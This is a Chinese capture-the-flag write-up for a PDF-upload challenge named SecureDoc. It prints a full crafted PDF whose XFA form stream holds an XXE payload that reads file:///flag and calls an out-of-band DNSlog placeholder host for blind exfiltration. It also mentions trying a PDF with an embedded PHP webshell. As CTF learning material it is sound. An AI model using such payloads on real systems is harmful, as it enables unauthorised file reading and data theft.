飞书链接:https://icnewi51k2yp.feishu.cn/wiki/Ebmrw9mzNiksl9kEhQKc2i1rnCZ
队伍名:legend

唯一的一题,麻了
SecureDoc
读题,是一个文件上传的界面,一开始以为是 ezUpload,结果发现还有一题也是文件上传
所以这题不大可能也是文件上传

尝试着上传了一下嵌入 php 木马的 pdf 文件,虽然成功了,但发现源码和请求头中没有路径去读取
看到下面的提示:
1 2 3 4 5
| **ℹ️ Supported Features:** • Standard PDF text extraction • PDF forms and interactive elements • XFA-based dynamic forms • Metadata extraction
|
翻译过来是元数据提取,推知可能和 xxe 漏洞相关?
尝试随意上传了一个文档,又看到了 XFA,所以可能就是 XXE,但这个 XXE 如何构造呢?

于是想到记事本,在记事本里添加这段话
1 2 3 4
| <!DOCTYPE data [<!ENTITY value SYSTEM "file:///flag.txt">]> <root> <a>&value;</a> </root>
|
然后改成 pdf,上传失败了…

后来在网上找到了规范的 pdf xml 格式,并能通过检测,
在如图的位置,嵌入头和 XXE 漏洞,就通过了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| %PDF-1.7 1 0 obj << /Type /Catalog /AcroForm 2 0 R >> endobj 2 0 obj << /Type /AcroForm /XFA 3 0 R /NeedAppearances true >> endobj 3 0 obj << /Length 700 >> stream <?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <xfa:template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.3/"> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///flag"> <!ENTITY log SYSTEM "http://你的DNSlog地址"> <!-- 无回显时用,替换成你的DNSlog --> ]> <xfa:subform> <xfa:field name="flag"> <xfa:value>&xxe;</xfa:value> </xfa:field> <xfa:field name="test"> <xfa:value>&log;</xfa:value> </xfa:field> </xfa:subform> </xfa:template> </xdp:xdp> endstream endobj 4 0 obj << /Type /Page /Parent 5 0 R /MediaBox [0 0 612 792] >> endobj 5 0 obj << /Type /Pages /Kids [4 0 R] /Count 1 >> endobj trailer << /Root 1 0 R >> startxref 1800 %%EOF
|
